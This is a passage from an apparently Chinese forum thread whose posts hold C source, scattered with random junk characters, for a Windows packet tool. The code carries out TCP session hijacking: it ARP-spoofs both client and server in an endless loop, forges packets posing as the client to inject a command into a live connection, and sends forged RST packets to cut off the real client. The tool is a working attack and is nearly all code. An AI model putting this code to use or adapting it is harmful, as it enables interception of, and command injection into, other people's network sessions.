$ q7 {- ]* U0 s* [, v( ~% h{
/ D6 E) @% a! \0 y. Z6 L9 B: I8 k  PCONNINFO  pNew, pTmp;
6 t  C  h* Y0 V" v0 I  J+ w$ W0 H9 x
0 J' b7 p( x8 v" Q* ]  pTmp = g_pConnHead; . c# W. B  G5 B1 w
  while(pTmp) 1 F. e/ P( d9 N+ ~, Q2 \# _
  { $ L' k% o; Y# Y
    if(pTmp-&gt;bActive) , b: W# I5 s9 D1 v0 ?( I$ n
    { " ~* U' Z& n# C" m3 m, h8 G; r
      //found it & ]( X% t; `: F* b
      if( (pTmp-&gt;dwServerIP == dwServerIP) &amp;&amp; ; ^" V# J1 c& |7 B
        (pTmp-&gt;uServerPort == uServerPort) &amp;&amp;
/ U3 V! a: s( }/ G& a        (pTmp-&gt;dwClientIP == dwClientIP) &amp;&amp; 6 Y) u- q% o& V" d" y! l' |' E
        (pTmp-&gt;uClientPort == uClientPort) ) ' K: E- w9 q( S
      { 1 Q% r4 A, N9 Y: t
        if(bDelete)
! @0 G3 r* k5 ?$ [% ], x8 C: ~; v        { , y; K- {: V' A  E5 b% L1 N
          pTmp-&gt;bActive = FALSE;
5 ?  c; g4 [1 H* E# X8 |0 o          return 0;
5 S* H: A! j' K$ I        } / @+ g& S9 `- f+ D
        else return pTmp-&gt;ident; ' y7 Q  s$ Y  ?- c: V
      } * N% g! d& ?+ u' [# b/ A
    } ; h# n" F1 y7 p0 n% t4 t
    pTmp = pTmp-&gt;Next; ' a$ t: Y- |' x  K$ t
  }
) l/ T, r% y. }  //not found, create new node
" r: r- a5 G6 H. ^7 ]  if( (!pTmp) &amp;&amp; (!bDelete) &amp;&amp; (bAddNew) ) # h- X7 R- l7 H( f! @- P3 K1 b* _; ]
  { ( j* P% V9 Y' f7 e
    //search unactive note " l9 C: ~/ K2 ?1 t
    pTmp = g_pConnHead; 5 T. Y/ s: P. `, g( Q3 W& G
    while(pTmp)
/ O0 I& H* `; Z& s9 ]: `' I    {
( y+ _5 A. M6 n      if(!pTmp-&gt;bActive) break;
6 G1 L* c) `: Y6 @7 ^      pTmp = pTmp-&gt;Next; 7 F0 S5 d& O# B5 C" O7 N  Q2 A
    } ; h3 m6 M1 i+ ?6 w8 \" z
    //found a unactive node 9 z0 r0 z/ A1 i" A9 E2 T
    if(pTmp) : W. S  ^. Z5 k+ J% P0 \0 V4 V
    {
$ n3 [8 b, K, a- M# n      pTmp-&gt;dwServerIP = dwServerIP;
; H) \6 T- a3 _0 H  v& t      pTmp-&gt;uServerPort = uServerPort;
* \. B7 O0 k5 U      pTmp-&gt;dwClientIP = dwClientIP; 6 y- t$ \5 k' T7 y4 i- y, x+ I
      pTmp-&gt;uClientPort = uClientPort;
+ X. k& |& }$ I) h( h" K; [" m      pTmp-&gt;bActive = TRUE; $ S. t+ h* T3 F, y7 `2 y" t5 R  R
      return pTmp-&gt;ident; 7 j& I! o# z* Z9 B) Z, @" L& T
    }
3 f( J* \2 |8 x/ m% e( d    //not found,create new node ) c9 I) q, _2 P4 v& M9 T8 C. j
    pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 5 B4 i9 I" G; I0 U  C
    if(!pNew)
6 i& N( t. a& E  U5 o, S" `* t9 ~    {
  i$ B% I1 w9 D; J; E( _5 _      printf("malloc for link node error:%d\n", GetLastError());
% G) W/ X- O5 R      return 0;
; F2 y5 ?  l( G: l    } ! X/ b+ Z9 ^, S) I" j7 z6 b
    //fill the struct
. l3 q1 |0 s3 P/ q7 X* r5 Q+ R    pNew-&gt;bActive = TRUE;
; A2 \) I; K0 }& G; Y# b! }% L    pNew-&gt;dwServerIP = dwServerIP;
0 C; h. _5 F/ p% `1 F4 }. }    pNew-&gt;uServerPort = uServerPort; 8 ?5 D- u* T2 m6 E# \* T
    pNew-&gt;dwClientIP = dwClientIP; 3 b" ~* U5 W8 V
    pNew-&gt;uClientPort = uClientPort;
2 R& b+ ^; K( C' v. k8 Q$ ]    pNew-&gt;ident = ++g_ident;
- t7 t9 `" n* _) _    pNew-&gt;Next = NULL;
) V6 i" u. }% k: q- p+ E, U- O    //add new node to link
0 f& y: x* O: s- n7 M7 n2 u9 k    if(!g_pConnHead) 9 {8 g, o3 I, q4 m/ T
      g_pConnHead = g_pConnLast = pNew;
! V& }$ x$ `  D( I5 i" L    else   x. N" G7 S6 G
    {
7 d2 K; G; P, |      g_pConnLast-&gt;Next = pNew;
2 o- @- ]* ?6 x2 c* i$ a      g_pConnLast = pNew; 6 K! K! c9 C6 m0 d4 d( k
    } , U( f. O% ?8 S! x
    return pNew-&gt;ident; 3 Z4 S5 r6 b' \4 @
  } 4 W  h( g: l) k  P
  return 0;
, ^( ^9 o* c& x. o* @  M' i}
; _$ R& `" s, B5 q* E
, k/ I/ \! x) ]  ^//
6 @7 o# e: j! t( v//功能:判断一个数据包是不是只有ACK标志
3 {( n7 F1 K( g8 m" O& V2 s// 2 }9 C' o$ i2 U) |  k% U/ F# G
BOOL IsACKPacket(unsigned char flag) 7 f& A2 r8 P; K/ K1 k3 V
{
7 w2 ^) P; c+ L1 r. g2 ]4 k  int  i, j=1; 8 w- e: l! W2 q0 y9 p8 ~4 {
  for(i=0 ; i&lt;4; i++)
5 t8 g+ a0 d6 q  {
$ E2 ?! e) p, G) |    if(flag &amp; j) return FALSE;
: E* l$ n( H) o) s4 O    j &lt;&lt;= 1;
* l6 @7 j3 T' U. f  }
" s3 }, x( ?% r3 t. a  if(!(flag &amp; 0x10)) return FALSE;//is ack? ! v  y% s9 R  g6 f, ^( V+ I: G
  if(flag &amp; 0x20) return FALSE; # ?5 L  H3 N# L! i' n  v1 l9 O8 ^
  return TRUE; 0 Z7 L2 [/ L/ N- L: E
}
, r, G; ^  M! J5 S8 f' O  A
9 v9 C' O' R# L# c1 T//
9 X+ ^2 T3 X. f. e4 [0 M3 k//功能:伪装成Client给Server发送数据包 % I$ b0 R+ ~: v% K/ x) I
// - m1 e/ X6 I! Y) r5 _2 J9 B$ w
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
0 t" \. x% G7 @" c! i{
( H7 l" j3 J5 K4 L& z2 V' Z+ G$ b5 {8 F0 L* o9 J
  char    szBuff[1520];
: u8 \/ O" p- j& C$ R  PSDHDR    psdhdr; ( S3 C  K7 e' f( q0 k- o
  PTCPPACKET  pHiJackPacket = NULL; , A' d& `8 G3 R. G. {8 [7 x* _
  BOOL    bRet = FALSE;
; _  F" ^$ o0 b1 B: w5 p
7 S: X+ `" D" C, Z% F  __try % R" X; b* W: e+ \4 ^
  { ! o* E# G3 _& f4 z
    // $ t6 `+ m% d+ F4 |
    if(!g_pCurrCtrlConn) __leave; 2 T- h" @  r$ ]" I
    //allocate memory for hijack packet
) L/ m. A' N" C0 I# a: \    pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
3 B8 u. p0 v$ j  Z% `, J; _3 N    if(!pHiJackPacket) ( Z5 p+ c: U7 M  [$ R& ^) a# Z
    { 2 N) S% M# r1 g3 m7 i  h
      printf("malloc error:%d\n", GetLastError());
* `5 }# j2 Z: \. T      __leave;
, O& X, \4 i9 O( x5 Z$ F    }
4 e8 i" J1 A2 A  B# O    memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
1 d$ \2 l( g! Y& \! j1 ~, C    //-------------- modify the packet ---------------// - i. h) V, M5 X
    //modify ethernet head
, U) X" f2 ~. ]+ A) T    memcpy(pHiJackPacket-&gt;ehhdr.DestMAC, g_szServerSideMAC, 6); 5 C4 Q5 Q0 ~' B
    memcpy(pHiJackPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
3 T4 v0 O5 e* [4 U" `2 v    //modify ip head ; J! L2 N* r" _/ D
    pHiJackPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
' I/ r- W; s! w    pHiJackPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
% K5 V2 m% G& Y5 t/ @) U    pHiJackPacket-&gt;iphdr.ident += 1;//标识加1
3 }4 ]1 ^# }( ^6 h1 _' ]    pHiJackPacket-&gt;iphdr.checksum = 0; 8 B9 a2 m% ^' A7 p: \
    pHiJackPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwClientIP;//源IP地址,伪装成client   D9 \0 q0 y0 e; N
    pHiJackPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwServerIP;//目的IP地址,接收hijack包的地址
, L6 J" w; o# x! v& x) ?    //modify tcp head 8 j/ Q* q6 s5 `, c6 A+ E
    pHiJackPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uClientPort;//client's port
& |* H3 O) i' T% J: i7 Y3 t; e# {    pHiJackPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uServerPort;//server's port
. g! P' D3 r7 p, ~0 T    pHiJackPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4 &lt;&lt; 4 | 0);
) [" D+ [/ s% b% Q0 G5 c    pHiJackPacket-&gt;tcphdr.th_flag = 0x18;// PA
( J0 V8 P  {7 T9 V    pHiJackPacket-&gt;tcphdr.th_sum = 0;
+ u9 C3 J; @/ y7 C0 c- B    pHiJackPacket-&gt;tcphdr.th_win = 0x3F44; , b0 @8 Z9 g" p' ~
    //fill tcp psd head
8 o$ p3 n2 J; F  Q3 ~. o# {3 L    psdhdr.saddr = pHiJackPacket-&gt;iphdr.sourceIP;           
7 M- t/ I2 G% p; w    psdhdr.daddr = pHiJackPacket-&gt;iphdr.destIP;           
+ [' V7 N- P5 Q    psdhdr.mbz = 0; ' `8 Y1 j7 x/ l! j( H6 K1 A! b
    psdhdr.ptcl = IPPROTO_TCP; - |2 H7 Z3 K/ ^0 S1 s
    psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
! n- K& u: Z! U5 u+ p    //calculate tcp checksum     
9 k8 j' C' \% X" e    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
3 X" `9 ?* P+ f$ o+ O3 ~6 M: Z    memcpy(szBuff + sizeof(PSDHDR), &amp;pHiJackPacket-&gt;tcphdr, sizeof(TCPHDR)); $ r$ _' O! ]; ^  q  J# @! y
    memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); 2 N$ _' l. \% W1 B
    pHiJackPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 0 `6 R. @+ b8 t; v# f- H
    //calculate IP checksum
! Y- F: R) w+ p9 C% _1 u  m- @1 \1 z    pHiJackPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pHiJackPacket-&gt;iphdr, sizeof(IPHDR)); 3 w1 |2 B* q- ~" x* C( h$ i
    //fill send buffer           
' ~+ |+ l+ z/ c  Y# J7 o) n    memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); % p7 ?( M" a( \) Y8 J( S4 L. O
    memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
1 e9 R- r/ U7 o    memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
  H8 [- P3 U4 Q, n) l    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);
% v3 W5 @# v  S! m' p/ v# r8 Z    memcpy(g_lpSendPacket-&gt;Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand)); 7 t' i$ H$ d' Y; h7 N7 Y* E0 Z- z2 w- o
    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
: F1 i( w8 v) u/ h& |    {
3 c9 a; o" _# M8 t      printf("Error sending the hijack packets!\n"); 9 n4 N5 x3 i5 M9 O+ I
      __leave;
$ B9 }% R! ?7 P5 t4 f( I+ q    }
# s  @% ?% }" n    else printf("Send hijack packet ok!\n"); 0 F2 p$ y  O8 b5 Q# C
    bRet = TRUE;
. V5 v& H6 o9 `3 @+ y  }
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

__finally . u4 j9 W* N9 N6 Y3 H% k/ P
  { 5 F- A" F2 P; k
    if(pHiJackPacket) free(pHiJackPacket); 1 g6 j7 B/ ]2 _* E
  } ! r/ B7 [- x" K/ B9 u
  return bRet;
( H6 r$ E4 l* p8 i% p}
- ?) a1 H4 T1 R5 I7 J- `& g
6 E7 L5 T3 ~. w2 F! w9 g4 z
, I) q7 D: l7 l+ _//
* Y: j9 g* D  f" m8 }0 J6 h//功能:伪装成Server给Client发送rst包 * q2 X) E8 K0 a, F: ]$ C# v
// 0 ^* T2 B* J. c: F1 i4 I4 f+ h& _4 F
BOOL SendRstPacket(unsigned int seq, unsigned int ack) 7 p% C/ z5 ~! V' B
{   V% `) Z6 w6 X$ }
  char    szBuff[60]; 8 C8 T1 e2 z" J3 f- y
  PSDHDR    psdhdr;
1 b+ ^, E/ c  w. G- Y  K; i  PTCPPACKET  pTcpPacket = NULL; & b3 y/ c! S% \( ]7 ^- m) n  r
  BOOL    bRet = FALSE; * _+ W- g  l  p/ T9 j/ v* I
' x/ u  w4 i7 J( v
  __try
" F! B& A' u! q- k% ]  {
( ~; j) c; M  r4 q3 v2 q% V    //检查当前指向想控制的连接的信息的指针是否为空 / Q8 J" S! O3 b7 p( \# G
    if(!g_pCurrCtrlConn) __leave;
" z% w: V& B9 p4 R" }- q    //allocate memory for rst packet + H4 u: l  ?" A% H0 Z
    pTcpPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
8 h' V" S* U# F" `2 B    if(!pTcpPacket) 1 ^; ]$ d7 _) D7 M
    {
' s# I8 q/ {7 m) ]* T      printf("malloc error:%d\n", GetLastError());
. i4 D! E/ @1 x& ?' n! `3 F" U3 x      __leave;
! Y1 O" I& V: o7 N    }
7 r7 d" S9 P% f( R! [+ t, [    //fill ethernet head
7 e* P9 t; `  {    memcpy(pTcpPacket-&gt;ehhdr.DestMAC, g_szClientSideMAC, 6);
8 O1 w( Q" v1 \2 A9 W& X' E    memcpy(pTcpPacket-&gt;ehhdr.SourceMAC, g_szOwnMAC, 6);
# u2 g$ j8 U8 t: K+ m    pTcpPacket-&gt;ehhdr.EthernetType = htons(EPT_IP); $ h% k- N& N3 ]$ ^1 b
    //fil ip head
* u2 q- h1 t! \: h: }3 y    pTcpPacket-&gt;iphdr.h_verlen = (4&lt;&lt;4 | sizeof(IPHDR)/sizeof(unsigned long));
. ~. L# o4 p" e    pTcpPacket-&gt;iphdr.tos = 0;
" J7 A* G1 A7 |    pTcpPacket-&gt;iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)); $ J) b# y% t. V
    pTcpPacket-&gt;iphdr.ident = 1; : u; \; b# Z8 b# @# s
    pTcpPacket-&gt;iphdr.frag_and_flags = 0;
: A/ P, T+ L, Y6 G1 T    pTcpPacket-&gt;iphdr.ttl = 128; , Z  r/ _1 Y. `9 `% `% i
    pTcpPacket-&gt;iphdr.proto = IPPROTO_TCP;
% r7 }  I1 o( ~! d+ [    pTcpPacket-&gt;iphdr.checksum = 0; * L4 I0 g# i& D5 {/ K6 d+ B
    pTcpPacket-&gt;iphdr.sourceIP = g_pCurrCtrlConn-&gt;dwServerIP;//源IP地址,伪装成服务器的
0 z7 z/ y. v! G" T    pTcpPacket-&gt;iphdr.destIP = g_pCurrCtrlConn-&gt;dwClientIP;//接收此rst包的ip地址
0 ~# i$ q, J: H3 V7 |    //fill tcp head - z: T& `' Q# _4 [) P! d# u: t
    pTcpPacket-&gt;tcphdr.th_sport = g_pCurrCtrlConn-&gt;uServerPort;//源端口号,伪装成服务器的端口
4 q! p5 D9 e1 M4 U6 T" ~( e; |    pTcpPacket-&gt;tcphdr.th_dport = g_pCurrCtrlConn-&gt;uClientPort;//接收此rst包的端口 8 Y( i8 x& P( K( E
    pTcpPacket-&gt;tcphdr.th_seq = seq;//SYN
% {! i* T! I' n5 T9 n: l    pTcpPacket-&gt;tcphdr.th_ack = ack;//ACK ) i& ^7 M4 {1 H
    pTcpPacket-&gt;tcphdr.th_lenres = (sizeof(TCPHDR)/4&lt;&lt;4|0); / n7 p$ {* i/ X6 x0 Y) [
    pTcpPacket-&gt;tcphdr.th_flag = 4;//RST flag
  k' {, M; ~* g' t! L! ^3 j. X# ^    pTcpPacket-&gt;tcphdr.th_win = 0;
! |2 ]9 L+ w: o% g$ z2 o6 l, [    pTcpPacket-&gt;tcphdr.th_urp = 0; ! w  k: X$ A! ?7 M, U' F) m
    pTcpPacket-&gt;tcphdr.th_sum = 0; . o. p% v0 c8 ~! H' W" {
    //fill tcp psd head % k7 @/ n% Y3 h
    psdhdr.saddr = pTcpPacket-&gt;iphdr.sourceIP;           
4 @& o/ k3 H  n& E+ @    psdhdr.daddr = pTcpPacket-&gt;iphdr.destIP;           ! L* x4 Z; A8 h: P  i
    psdhdr.mbz = 0; & X' F% O8 u$ ~$ A& Z3 H+ m
    psdhdr.ptcl = IPPROTO_TCP; : _3 h1 O' u: q- e  l$ h
    psdhdr.tcpl = htons(sizeof(TCPHDR)); $ y" S4 b+ c; C; {3 X! D8 b
    //calculate tcp checksum     % _5 d& T% ]# w2 J/ I
    memcpy(szBuff, &amp;psdhdr, sizeof(PSDHDR));   
' v# {# {) ^& L    memcpy(szBuff + sizeof(PSDHDR), &amp;pTcpPacket-&gt;tcphdr, sizeof(TCPHDR));
. E$ b0 l0 m1 `    pTcpPacket-&gt;tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR));
, k. s- ]' ~6 \    //calculate IP checksum
( g; `5 N; w8 B' N8 p# K! b5 ?    pTcpPacket-&gt;iphdr.checksum = checksum((USHORT *)&amp;pTcpPacket-&gt;iphdr, sizeof(IPHDR));
3 C- o% S' F6 s5 C$ M6 u1 b, \    //fill send buffer
& b4 R0 n- ~4 C& y    memset(g_lpSendPacket-&gt;Buffer, 0, 1514);   m6 d3 B; ?; P# I, t9 w1 a) @
    memcpy(g_lpSendPacket-&gt;Buffer, (char *)pTcpPacket, sizeof(TCPPACKET));
" V. G# l$ A1 l5 |! {' p    if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
" {& j. v2 v' [; a: K" |* z) \7 s0 r5 ~    {
: n; }0 t# W+ L& |$ w5 V2 w$ f      printf("Error sending the rst packets!\n");
8 V  l6 Z) W6 t& `( v  A      __leave;
/ }* Y( B9 M$ t; \& ~4 j    } $ L" c2 u4 o( h# w, q# J' V* n
    else printf("Send RST packet ok!\n"); $ P. M/ u( S) K9 t( B1 j& i& M8 Q
    bRet = TRUE; 5 s2 D+ K; E  l$ R6 g
  } ( g% Z. w) M; V  I% d
  __finally 3 b. P' j. N. T5 ?
  { ) O; Q) n6 q5 Q' S2 \1 e% X
    if(pTcpPacket) free(pTcpPacket);
9 q$ O+ V2 ?, E  }
9 b0 s' h/ g$ K5 X9 h4 F  return bRet; 0 y+ A$ h* g% ~# F  r4 z8 j
}   F. [8 p4 y, E, L; h! }
0 k) ]# p, y% q1 A; {7 m
// ) E' R0 ?( T( o7 ]$ b
//功能:计算校验和
* y( f% K0 Z% b& h- K$ S# h. p' {//
3 b4 u1 x3 {' \2 i& e9 F0 o; ZUSHORT checksum(USHORT *buffer, int size) ) V+ z% d; B* ~8 Y
{ * O/ P4 n) P+ x" q* F; O
unsigned long cksum=0;
5 e$ L* o- b  }# W6 I while(size &gt;1) {
  |6 R0 a  E5 o8 e% T' r  cksum+=*buffer++; ) k, |* j1 K; K" T' ?
  size -=sizeof(USHORT);
8 a4 S& a) U# B4 N1 G3 b. n3 j } + l) [6 R; a8 J% B# X# Y7 }
if(size ) { 6 Z: n$ \0 O: Q! `! q
  cksum += *(UCHAR*)buffer; ( L& B# [" w- Y7 f2 i9 h  B
} $ G- }% ~& e3 s0 a
cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff); & A2 @( p' l: v7 t7 D& u
cksum += (cksum &gt;&gt;16); ' L+ F3 x% J  _2 T
return (USHORT)(~cksum); - \; N& J) Y5 Y( M% F
}
; @8 W- z) s3 W# _1 C. [4 z) p. j4 r' [! u$ Y7 E
//
) ~5 A8 b& X  o: P//功能:实施ARP欺骗   f: c  v5 K( ^1 e
//1 告诉ServerSide,ClientSide的mac是ownmac 5 Z3 b2 }: G' d1 u* v+ r3 V; J
//2 告诉ClientSide,ServerSide的mac是ownmac
" q% ]# P) S: a: \$ Q3 y' f. n//
: y2 \) h9 Q( e% cDWORD WINAPI ArpSpoofThread(LPVOID lpType) 1 l. s" {; V6 }: n* t
{
" q& }. _/ r3 v$ Z  int  iType = *(int *)lpType;
% |* w/ u* ^) z$ [, d) J+ y  ARPPACKET  ArpPacket;
8 `. k* O0 B- Z! Q; h8 Y  LPPACKET  lpArpPacket;
- u, X4 E- F2 Q  z4 D( `  char    szArpBuff[60];
: e' l  g5 o" S. F) Y
/ U7 f- z' T; Y% r4 N  switch(iType)
' u, a5 ?4 r3 \  {
1 V* P$ A1 q' V. Y/ C1 G    case 1: ' ^2 ~' n) Z- Z
      memcpy(ArpPacket.ehhdr.DestMAC, g_szServerSideMAC, 6);
) b% c% f, T: ^      ArpPacket.arphdr.DestIP = g_ServerSideIP;
4 c& m5 m+ J- r' s/ O. x% ]" M      ArpPacket.arphdr.SourceIP = g_ClientSideIP; 6 _( l6 f3 d/ Q% V5 X
      break; ' Z- w; A* m- B3 M7 F: f% `4 T8 n
    case 2: $ }2 W  j/ Y, m& r
      memcpy(ArpPacket.ehhdr.DestMAC, g_szClientSideMAC, 6);
# W. a$ s$ r3 m" V6 z9 R      ArpPacket.arphdr.DestIP = g_ClientSideIP;
  k! f- W" e+ e5 }9 U: ^      ArpPacket.arphdr.SourceIP = g_ServerSideIP;
0 u" j* [6 P& R+ j  w( ~2 }      break;
% |2 _4 Y/ P: C# ?    default:
5 s" M* e3 I5 u! K& _8 f      return 0; : F" y% e- L" g4 r
  }
3 S% l% R8 _9 ^2 Z0 f* m2 t  //ethernet head & M( H, Z# N5 A- w) w
  memcpy(ArpPacket.ehhdr.SourceMAC, g_szOwnMAC, 6); 0 r* \: L) L4 S8 i% |' K6 ?1 x/ c
  ArpPacket.ehhdr.EthernetType = htons(EPT_ARP);//ethernet type 2 ~: o( g1 M7 t0 r5 d4 h+ }# R
  //arp head / z' u: k, U4 V7 ]
  memcpy(ArpPacket.arphdr.DestMAC, ArpPacket.ehhdr.DestMAC, 6);//dest's mac
& |+ H! d; |7 e: \) v; X  memcpy(ArpPacket.arphdr.SourceMAC, g_szOwnMAC, 6);//sender's mac
2 B' E. i: p0 m4 y$ c5 j  ArpPacket.arphdr.HrdAddrlen = 6; ( j: t" ?) q  E) x
  ArpPacket.arphdr.ProAddrLen = 4;
1 t/ E6 I# e+ U* D( W, T; [6 {  ArpPacket.arphdr.HrdType = htons(ARP_HARDWARE);
- w$ `: ^) o; O5 u8 T+ G) I  ArpPacket.arphdr.ProType = htons(EPT_IP);
6 E) s. Y. _: j$ \  ArpPacket.arphdr.op = htons(2);//arp reply 0 u/ |1 N3 v6 N8 A2 o9 E9 u

  q# `. W/ a  k6 O) l# J2 G+ {  lpArpPacket = PacketAllocatePacket(); * d7 D+ o5 N! l1 R. Y
  if(lpArpPacket == NULL) : G2 P) {# J2 s/ p# w
  { ) S3 B+ b2 K2 K  Q7 T( R0 Q
    printf("Error:failed to allocate the LPPACKET structure for Arp spoof.\n"); # t6 u7 {: z) d: `
    return 0;
( {+ k" y) M2 k1 t+ \  } 8 u" O2 q! Y* u6 q) i8 U0 i! f& h
  memset(szArpBuff, 0, sizeof(szArpBuff));
4 C  X, N* }# `3 S9 x  memcpy(szArpBuff, (char *)&amp;ArpPacket, sizeof(ARPPACKET)); ( l. c# P9 C. }) Z! S% s
  PacketInitPacket(lpArpPacket, szArpBuff, 60); + J5 M8 \3 h8 B
  //send arp packet 1 H( K% Y$ d/ {" D) q
  while(1) 8 o6 \7 @+ T1 N. M7 H
  {
) R: L; r+ n! H. c; l& m    if(PacketSendPacket(g_lpAdapter, lpArpPacket, TRUE) == FALSE) . s4 i& U. Q& Z. e# M0 W: B& J
    {
+ }  H% q: ], ?% \      printf("Error sending the arp spoof packets!\n"); : U/ J0 d. Y; C
      return 0;
3 D' g; q. ]  M    }
" s1 [  D, E. G6 ^1 d8 B! E5 M' l    Sleep(1000); " U, _" p# X+ \  _" G7 I
  }
' p4 ?7 K2 u3 q2 C* M; \; F  return 0;
  j) @. i- o5 k} 4 m2 I0 e% N- D1 n
% K/ J9 @8 Y( t0 o/ P! a" [2 ]: @3 k# U
//
; l7 ]5 q3 G  J5 b* h- t. i1 v//功能:输入IP取得对应的MAC地址
" t0 [8 s5 \7 d+ m& L' B/ ~0 U//
4 o# D! t/ L) j  qBOOL GetMACAddr(DWORD DestIP, char *pMAC) 5 o! T3 R9 O( \# E' s
{ ( r; F8 F4 m  \. ~
  DWORD  dwRet; 1 Q5 j- i8 E* x% P6 x0 p; e
  ULONG  ulLen = 6, pulMac[2]; " `& w7 ~9 \- T
  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
6 i4 D2 o4 G" `2 i* ]  U" k' s  if(dwRet == NO_ERROR) 3 t. g' ^' r4 c/ T: ^. j0 I; P
  {
6 W% p# j) T# n& ]6 y3 k6 i. z    memcpy(pMAC, pulMac, 6);
$ o3 j9 e: h( L6 B! T    return TRUE;
2 }7 B% j7 z: k$ n0 M  } ! ]# Z& S( N7 F
  else return FALSE;
% v/ g/ G7 F2 e" n}
回复

使用道具 举报

2

主题

15

听众

759

积分

升级  39.75%

  • TA的每日心情
    开心
    2015-8-26 15:55
  • 签到天数: 39 天

    [LV.5]常住居民I

    群组学术交流B

    群组2014数学建模国赛备战

    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册地址

    qq
    收缩
    • 电话咨询

    • 04714969085
    fastpost

    关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

    手机版|Archiver| |繁體中文 手机客户端  

    蒙公网安备 15010502000194号

    Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

    GMT+8, 2026-8-23 18:39 , Processed in 0.627532 second(s), 91 queries .

    回顶部